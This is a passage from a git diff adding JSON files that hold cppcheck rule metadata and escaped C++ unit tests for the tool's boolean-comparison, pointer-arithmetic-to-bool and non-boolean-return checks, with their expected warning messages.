\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolWithInt.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolWithInt.json new file mode 100644 index 0000000..8677e00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolWithInt.json @@ -0,0 +1,31 @@ +{ + "name": "checkComparisonOfBoolWithInt", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 23, + "branches": 9, + "apis": 30, + "test": [ + { + "description": null, + "expected-problems": 10, + "expected-linenumbers": [ + 998, + 1051, + 1081, + 1111, + 1118, + 1126, + 1133, + 1140, + 1182, + 1193 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n 